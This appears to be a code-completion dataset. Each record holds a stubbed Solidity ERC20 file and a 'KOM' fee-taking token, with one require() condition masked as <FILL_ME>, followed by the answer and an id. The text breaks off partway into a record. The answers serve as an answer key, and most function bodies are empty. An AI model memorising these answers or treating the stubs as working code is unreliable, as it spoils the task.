contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
contract KOM is ERC20, Ownable {
/* Token Tax */
uint32 public _taxPercision = 100000;
address[] public _taxRecipients;
uint16 public _taxTotal;
bool public _taxActive;
mapping(address => uint16) public _taxRecipientAmounts;
mapping(address => bool) private _isTaxRecipient;
mapping(address => bool) public _whitelisted;
/* Events */
event UpdateTaxPercentage(address indexed wallet, uint16 _newTaxAmount);
event AddTaxRecipient(address indexed wallet, uint16 _taxAmount);
event RemoveFromWhitelist(address indexed wallet);
event RemoveTaxRecipient(address indexed wallet);
event AddToWhitelist(address indexed wallet);
event ToggleTax(bool _active);
uint256 private _totalSupply;
/**
* @dev Constructor.
*/
constructor() ERC20('KwoN PrEdAtOR', 'KOM') payable {
}
/**
* @notice overrides ERC20 transferFrom function to introduce tax functionality
* @param from address amount is coming from
* @param to address amount is going to
* @param amount amount being sent
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @notice : overrides ERC20 transfer function to introduce tax functionality
* @param to address amount is going to
* @param amount amount being sent
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of lowest token units to be burned.
*/
function burn(uint256 value) public {
}
/* ADMIN Functions */
/**
* @notice : toggles the tax on or off
*/
function toggleTax() external onlyOwner {
}
/**
* @notice : adds address with tax amount to taxable addresses list
* @param wallet address to add
* @param _tax tax amount this address receives
*/
function addTaxRecipient(address wallet, uint16 _tax) external onlyOwner {
}
/**
* @notice : updates address tax amount
* @param wallet address to update
* @param newTax new tax amount
*/
function updateTaxPercentage(address wallet, uint16 newTax) external onlyOwner {
require(wallet != address(0), "Cannot add 0 address");
require(<FILL_ME>)
uint16 currentTax = _taxRecipientAmounts[wallet];
require(currentTax != newTax, "Tax already this amount for this address");
if(currentTax < newTax) {
uint16 diff = newTax - currentTax;
require(_taxTotal + diff <= 10000, "Tax amount too high for current tax rate");
_taxTotal = _taxTotal + diff;
} else {
uint16 diff = currentTax - newTax;
_taxTotal = _taxTotal - diff;
}
_taxRecipientAmounts[wallet] = newTax;
emit UpdateTaxPercentage(wallet, newTax);
}
/**
* @notice : remove address from taxed list
* @param wallet address to remove
*/
function removeTaxRecipient(address wallet) external onlyOwner {
}
/**
* @notice : add address to tax whitelist
* @param wallet address to add to whitelist
*/
function addToWhitelist(address wallet) external onlyOwner {
}
/**
* @notice : add address to whitelist (non taxed)
* @param wallet address to remove from whitelist
*/
function removeFromWhitelist(address wallet) external onlyOwner {
}
/**
* @notice : resets tax settings to initial state
*/
function taxReset() external onlyOwner {
}
/**
* @notice : withdraws taxable amount to tax recipients
*/
function distributeTaxes() external onlyOwner {
}
}
| _isTaxRecipient[wallet],"Not a tax address" | 243,734 | _isTaxRecipient[wallet] |
"Tax amount too high for current tax rate" | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
contract KOM is ERC20, Ownable {
/* Token Tax */
uint32 public _taxPercision = 100000;
address[] public _taxRecipients;
uint16 public _taxTotal;
bool public _taxActive;
mapping(address => uint16) public _taxRecipientAmounts;
mapping(address => bool) private _isTaxRecipient;
mapping(address => bool) public _whitelisted;
/* Events */
event UpdateTaxPercentage(address indexed wallet, uint16 _newTaxAmount);
event AddTaxRecipient(address indexed wallet, uint16 _taxAmount);
event RemoveFromWhitelist(address indexed wallet);
event RemoveTaxRecipient(address indexed wallet);
event AddToWhitelist(address indexed wallet);
event ToggleTax(bool _active);
uint256 private _totalSupply;
/**
* @dev Constructor.
*/
constructor() ERC20('KwoN PrEdAtOR', 'KOM') payable {
}
/**
* @notice overrides ERC20 transferFrom function to introduce tax functionality
* @param from address amount is coming from
* @param to address amount is going to
* @param amount amount being sent
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @notice : overrides ERC20 transfer function to introduce tax functionality
* @param to address amount is going to
* @param amount amount being sent
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of lowest token units to be burned.
*/
function burn(uint256 value) public {
}
/* ADMIN Functions */
/**
* @notice : toggles the tax on or off
*/
function toggleTax() external onlyOwner {
}
/**
* @notice : adds address with tax amount to taxable addresses list
* @param wallet address to add
* @param _tax tax amount this address receives
*/
function addTaxRecipient(address wallet, uint16 _tax) external onlyOwner {
}
/**
* @notice : updates address tax amount
* @param wallet address to update
* @param newTax new tax amount
*/
function updateTaxPercentage(address wallet, uint16 newTax) external onlyOwner {
require(wallet != address(0), "Cannot add 0 address");
require(_isTaxRecipient[wallet], "Not a tax address");
uint16 currentTax = _taxRecipientAmounts[wallet];
require(currentTax != newTax, "Tax already this amount for this address");
if(currentTax < newTax) {
uint16 diff = newTax - currentTax;
require(<FILL_ME>)
_taxTotal = _taxTotal + diff;
} else {
uint16 diff = currentTax - newTax;
_taxTotal = _taxTotal - diff;
}
_taxRecipientAmounts[wallet] = newTax;
emit UpdateTaxPercentage(wallet, newTax);
}
/**
* @notice : remove address from taxed list
* @param wallet address to remove
*/
function removeTaxRecipient(address wallet) external onlyOwner {
}
/**
* @notice : add address to tax whitelist
* @param wallet address to add to whitelist
*/
function addToWhitelist(address wallet) external onlyOwner {
}
/**
* @notice : add address to whitelist (non taxed)
* @param wallet address to remove from whitelist
*/
function removeFromWhitelist(address wallet) external onlyOwner {
}
/**
* @notice : resets tax settings to initial state
*/
function taxReset() external onlyOwner {
}
/**
* @notice : withdraws taxable amount to tax recipients
*/
function distributeTaxes() external onlyOwner {
}
}
| _taxTotal+diff<=10000,"Tax amount too high for current tax rate" | 243,734 | _taxTotal+diff<=10000 |
"Address already added" | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
contract KOM is ERC20, Ownable {
/* Token Tax */
uint32 public _taxPercision = 100000;
address[] public _taxRecipients;
uint16 public _taxTotal;
bool public _taxActive;
mapping(address => uint16) public _taxRecipientAmounts;
mapping(address => bool) private _isTaxRecipient;
mapping(address => bool) public _whitelisted;
/* Events */
event UpdateTaxPercentage(address indexed wallet, uint16 _newTaxAmount);
event AddTaxRecipient(address indexed wallet, uint16 _taxAmount);
event RemoveFromWhitelist(address indexed wallet);
event RemoveTaxRecipient(address indexed wallet);
event AddToWhitelist(address indexed wallet);
event ToggleTax(bool _active);
uint256 private _totalSupply;
/**
* @dev Constructor.
*/
constructor() ERC20('KwoN PrEdAtOR', 'KOM') payable {
}
/**
* @notice overrides ERC20 transferFrom function to introduce tax functionality
* @param from address amount is coming from
* @param to address amount is going to
* @param amount amount being sent
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @notice : overrides ERC20 transfer function to introduce tax functionality
* @param to address amount is going to
* @param amount amount being sent
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of lowest token units to be burned.
*/
function burn(uint256 value) public {
}
/* ADMIN Functions */
/**
* @notice : toggles the tax on or off
*/
function toggleTax() external onlyOwner {
}
/**
* @notice : adds address with tax amount to taxable addresses list
* @param wallet address to add
* @param _tax tax amount this address receives
*/
function addTaxRecipient(address wallet, uint16 _tax) external onlyOwner {
}
/**
* @notice : updates address tax amount
* @param wallet address to update
* @param newTax new tax amount
*/
function updateTaxPercentage(address wallet, uint16 newTax) external onlyOwner {
}
/**
* @notice : remove address from taxed list
* @param wallet address to remove
*/
function removeTaxRecipient(address wallet) external onlyOwner {
}
/**
* @notice : add address to tax whitelist
* @param wallet address to add to whitelist
*/
function addToWhitelist(address wallet) external onlyOwner {
require(wallet != address(0), "Cant use 0 address");
require(<FILL_ME>)
_whitelisted[wallet] = true;
emit AddToWhitelist(wallet);
}
/**
* @notice : add address to whitelist (non taxed)
* @param wallet address to remove from whitelist
*/
function removeFromWhitelist(address wallet) external onlyOwner {
}
/**
* @notice : resets tax settings to initial state
*/
function taxReset() external onlyOwner {
}
/**
* @notice : withdraws taxable amount to tax recipients
*/
function distributeTaxes() external onlyOwner {
}
}
| !_whitelisted[wallet],"Address already added" | 243,734 | !_whitelisted[wallet] |
"Address not added" | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
